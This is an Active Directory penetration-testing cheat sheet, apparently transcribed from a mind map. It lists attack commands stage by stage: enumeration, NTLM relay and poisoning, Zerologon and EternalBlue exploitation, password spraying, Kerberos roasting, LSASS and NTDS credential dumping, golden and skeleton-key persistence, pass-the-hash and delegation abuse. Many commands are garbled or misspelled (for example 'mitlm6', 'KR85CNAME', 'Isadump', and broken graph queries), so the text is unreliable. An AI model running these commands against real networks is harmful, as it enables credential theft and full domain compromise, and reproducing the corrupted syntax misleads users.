

Active Directory Penetration Manual

no credentials

Scan Network

- cme smb <ip> <range> # enumerate smb hosts
- nmap -sP -p <ip> # ping scan
- nmap -PN -sV --top-ports 50 --open <ip> # quick scan
- nmap -PN --script smb-vuln* -p139,445 <ip> # search smb vuln
- nmap -PN -sC -sV -p <ip> # full scan
- nmap -sU -sC -sV <ip> # udp scan

find vulnerable host

find AD IP

- nmcli dev show eth0 # show domain name & dns
- nslookup -type=SRV _ldap._tcp.dc._msdcs._/DOMAIN

zone transfert

- dig axfr <domain_name> @<name_server>

List guest access on smb share

- enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
- smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
- smbclient -U '%*' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
- cme smb <ip> -u "p" # enumerate null session
- cme smb <ip> -u 'a' -p "" # enumerate anonymous access

Enumerate ldap

- nmap -n -sV --script 'ldap' and not brute" -p 389 <dc-ip>
- ldapssearch -x -h <ip> -s base

user found

Find user list

- enum4linux -U <dc-ip> | grep 'user'
- crackmapexec smb <ip> -u <user> -p '<passwords>' --users
- OSINT - enumerate username on internet

user found

relay/poisoning

- nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK
- use exploit/windows/smb/smbrelay
- cme smb <ip> --gen-relay-list relay.txt

unsigned SMB

- PetitPotam.py -d <domain> -l listener_ip -c target_ip
- responder -i eth0
- mitlm6 -d <domain>

user & hash found

zerologon

- python3 cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip>
- secretsdump.py <DOMAIN>/<MACHINE_BIOS_NAME> <ip>
- python3 restorepassword.py -target-ip <ip> <DOMAIN>/<MACHINE_BIOS_NAME> <ip>
- secretsdump.py -hashes <HASH_ADMIN> <DOMAIN>/Administrator@<ip>

classic quick compromise methods

- java rmi
- exploit/multi/misc/java_rmi_server
- ms17-010
- exploit/windows/smb/ms17_010_eternalblue
- auxiliary/scanner/http/tomcat_enum
- exploit/multi/http/tomcat_mgr_deploy
- tomcat/manager
- java serialized port
- yoserial
- vulnerable product with cve
- searchsploit
- MS14-025
- use scanner/smb_enum_gpp
- findstr /S /I cpassword \\<FQDN>\sysvol\FQDN\policies*.xml
- database credentials
- use admin/mssql/mssql_enum_logins
- proxylogon
- proxysHELL

Low hanging fruit

got username but no password

password spray

- Get password policy
- crackmapexec <ip> -u 'user' -p 'password' --pass-pol
- enum4linux -u 'username' -p 'password' -P <ip>
- cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # test user/password
- cme smb <dc-ip> -u user.txt -p password.txt # multiple test (careful of lock policy)

credentials found

ASREPRoast

- python GetNtUsers.py <domain> -userfile <usernames.txt> -format hashcat -outfile <hashes> domain.txt
- Get hash
- Rubeus asreproast /format:hashcat
- Get-DomainUser -PreauthNotRequired -Properties SamAccountName
- Get ASREPRoastable users
- MATCH (u:User (dontpreauth:true)), (c:Computer), p=shortestPath(u)[*1..]>(c)) RETURN p

hash found

no smb signing || ipv6 enabled || adcs

- MS08-068
- use exploit/windows/smb/smb_relay # windows200 / windows server2008
- responder -i eth0 # disable smb & http
- ntlmrelay.py -tf targets.txt
- ntlmrelay.py -6 -wh <attacker_ip> -l /tmp -socks -debug
- ntlmrelay.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug
- ntlmrelay.py -t ldaps://<dc-ip> -wh <attacker_ip> --delegate-access
- getST.py -spn cifs/<target> <domain>/<netbios_name>\\$ -impersonate <user>

relay

adcs

- ntlmrelay.py -t http://<dc-ip>/certsrv
- certnsh.asp -debug -smb2support --adcs --template DomainController
- Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

crackmapexec

- john --format=sim hash.txt
- LM
- hashcat -m 3000 -a 3 hash.txt
- john --format=nt hash.txt
- NTLM
- john --format=netntlm hash.txt
- NTLMv1
- hashcat -m 1000 -a 3 hash.txt
- john --format=netntlmv2 hash.txt
- NTLMv2
- john --format=netntlmv2 hash.txt
- hashcat -m 5600 -a 0 hash.txt rockyou.txt
- john spn.txt --format=krb5tgt --wordlist=rockyou.txt
- Kerberos 5 TGS
- hashcat -m 13100 -a 0 spn.txt rockyou.txt
- Kerberos ASREP
- hashcat -m 18200 -a 0 AS-REP-roast-hashes rockyou.txt

find hash

privilege escalation

- winpeas.exe
- search password files
- findstr /s 'password' *.txt *.xml *.docx
- Juicy Potato / Lovely Potato
- PrintSpoofer
- RoguePotato
- SMBGhost CVE-2020-0796
- CVE-2021-36934 (HiveNightmare/ SeriousSAM)

Low access

got administrator access on one machine

- procdump.exe -accepteula -ma lsass.exe lsass.dmp
- mimikatz "privilege:debug" "token:elevate" *
- sekurlsa:logonpasswords "lsadump:sam" *
- exit
- get credentials
- post/windows/gather/smart_hashdump
- hashdump
- cme smb <ip> <range> -u <user> -p <password> -M lsassy
- cme smb <ip> <range> -u <user> -p '<passwords>' --sam --ntds
- PPLDump64.exe <class.exe>lsass_pid> lsass.dmp
- LSA as a Protected Process
- mimikatz "l" "process:protect /process:lsass.exe /remove" "privilege:debug" "token:elevate"
- sekurlsa:logonpasswords "l" "process:protect /process:lsass.exe" "l" "l" #with mimidriver.sys
- search password files
- findstr /s 'password' *.txt *.xml *.docx
- search stored password
- lazagne.exe all
- shadow copies
- diskshadow list shadows all
- mklink /d c:\shadowcopy \\?GLOBALROOT\Device\HarddiskVolumeShadowCopy\
- token manipulation
- incognito.exe list-tokens -u
- incognito.exe execute -c <domain>\<user>
- use incognito
- impersonate.token <domain>\<user>
- dpapi extract

Administrator access

got credentials

- Get all users
- GetADUsers.py -all -dc-ip <dc-ip> <domain>/<username>
- enumerate SMB share
- cme smb <ip> -u <user> -p <password> --shares
- bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
- powercat / pyview
- kerberoasting
- Get hash
- GetUserSPNs.py -request -dc-ip <dc-ip> <domain>/<username>
- Rubeus kerberoast
- Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName
- MATCH (u:User (haspn:true)) RETURN u
- MATCH (u:User (haspn:true), (c:Computer), p=shortestPath(u)[*1..]>(c)) RETURN p
- rpcclient \$> lookupnames <name>
- winic useraccount get name, sid
- auxiliary/admin/kerberos/ms14_068_kerberos_checksum
- goldenPac.py -dc-ip <dc-ip> <domain>/<user> -p <password> @<target>
- kerberos:ptc "tickets"
- dsccmd.exe /config /serverlevelupgrading <\\path\to\dl> # need a dsadmin user
- sc \DNSServer stop dns
- sc \DNSServer start dns
- enum dns
- dnstool.py -u DOMAIN\user -p 'password' --record "" -action query <dc-ip>
- PrintNightmare
- CVE-2021-1675.py <domain>/<user> <password> @<target> \\<smb_server_ip>\<share>\inject.dll

Got one account on the domain

Domain admin

- crackmapexec smb 127.0.0.1 -u <user> -p <password> -d <domain> --ntds
- secretsdump.py <domain>/<user> -p <password> @<ip>
- ntdsutil "ac i ntds" "ntds" "create full c:\temp" q
- windows/gather/credentials/domain_hashdump
- secretsdump.py -ntds ntds.file.dll -system
- SYSTEM_FILE -hashes lmhashnthash LOCAL -outfile ntlm-extract

Domain admin

Persistence

- net group 'domain admins' myuser /add /domain
- Golden ticket
- ticketer.py -nthash <nthash> -domain-sid <domain-sid> -domain <domain> -user <user>
- Silver Ticket
- PowerShell New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DermAdminLogonBehavior" -Value 2 -PropertyType DWORD
- DSRM
- mimikatz "privilege:debug" "misc:skeleton" "exit"
- Skeleton Key
- mimikatz "privilege:debug" "misc:memssp" "exit"
- Custom SSP
- C:\Windows\System32\kwissp.log

Persistence

Trust relationship

- Child Domain to Forest Compromise - SID Hijacking
- Get-NetGroup -Domain <domain> -GroupName "Enterprise Admins" -FullData
- select objectid
- mimikatz lsadump:trust
- kerberos:golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user-sid> /sids:<RootDomainSID-519> /ptt
- Forest to Forest Compromise - Trust Ticket
- "lsadump:trust /patch" "lsadump:lsa /patch"
- "kerberos:golden /user:Administrator /domain:<domain> /sid:<domain-sid> /rc4-trust-key /service:krbtgt /target:<target-domain> /ticket:<golden_ticket_path>"
- printerbug or petitpotam to force the DC of the external forest to connect on a local unconstrained delegation machine. Capture TGT, inject into memory and dcsync.
- printerbug.py <domain>/<username> <password> @<Printer IP> <RESPONDERIP>
- ntlmrelay.py -t ldaps://<dc-fqdn> --escalate-user <user>

Trust relationship

Pivoting to others computers

- psexec.py -hashes "-chash"<user>@<ip>
- wniexec.py -hashes "-chash"<user>@<ip>
- atexec.py -hashes "-chash"<user>@<ip> "command"
- evil-winrm -i <ip> <domain> -u <user> -H <hash>
- xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>

pass the hash

overpass the hash / pass the key (PTK)

- python getTGT.py <domain>/<user> -hashes <hashes>
- export KR85CNAME/root/impacket-examples/domain_ticket.ccache
- python psexec.py <domain>/<user>@<ip> -k -no-pass
- Rubeus ptt /ticket:<ticket>
- Rubeus createticketonly /program:C:\Windows\System32\cmd.exe[/unpcon.exe]
- Rubeus ptt /uid:0xdeadbeef /ticket:<ticket>

Unconstrained delegation

- Get tickets
- privilege:debug sekurlsa:tickets /export sekurlsa:tickets /export
- Rubeus dump /service:krbtgt /nowrap
- Rubeus dump /uid:0xdeadbeef /nowrap
- Get-NetComputer -Unconstrained
- Get-DomainComputer -Unconstrained -Properties DnsHostName
- Get unconstrained delegation machines
- MATCH (c:Computer (unconstraineddelegation:true)) RETURN c
- MATCH (u:User (owned:true), (c:Computer (unconstraineddelegation:true)), p=shortestPath(u)[*1..]>(c)) RETURN p

Constrained delegation

- Get tickets
- privilege:debug sekurlsa:tickets /export sekurlsa:tickets /export
- Rubeus dump /service:krbtgt /nowrap
- Rubeus dump /uid:0xdeadbeef /nowrap
- Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
- MATCH (c:Computer, (t:Computer), p=((c)-(AllowedToDelegate)->(t)) RETURN p
- MATCH (u:User (owned:true), (c:Computer (name:"<MYTARGET.FQDN>")), p=shortestPath(u)[*1..]>(c)) RETURN p

Resource-Based Constrained Delegation

- Isadump:dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts
- dcsync
- WSUSpect
- WSUSpendu.ps1 # need compromised WSUS server
- sccm
- CMPivot
- MSSQL Trusted Links
- use exploit/windows/mssql/mssql_linkcrawler
- Printers spooler service abuse
- rpccmd.py <domain>/<user> -p <password> <domain_server> | grep MS-RPRN
- printerbug.py <domain>/<username> <password> @<Printer IP> <RESPONDERIP>

AD acl abuse

- acpwn.py
- GenericAll on User
- GenericAll on Group
- GenericAll / GenericWrite / Write on Computer
- WriteProperty on Group
- Self (Self-Membership) on Group
- WriteProperty (Self-Membership)
- ForceChangePassword
- WriteOwner on Group
- GenericWrite on User
- WriteDACL + WriteOwner

GPO Delegation

- Get-LAPSPasswords -DomainController <ip>
- dc> -Credential <domain>\<login> | Format-Table -AutoSize
- foreach (\$objResult in \$colResults){ \$objComputer = \$objResult.Properties; \$objComputer.name | where { (\$objComputer.name -ne \$env:computername) } } | foreach-object { Get-AdmPwdPassword -ComputerName \$obj } }
- python privexchange.py -ah <attacker_host_or_ip> -e <exchange_host> -u <user> -d <domain> -p <password>
- ntlmrelay.py -t ldaps://<dc-fqdn> --escalate-user <user>

get laps passwords

privexchange

ADCS

Mahyar@TajDini.net

Github.com/mahyarx

Linkedin.com/in/mahyartajdini

TajDini.net

mayfly (@M4yfly)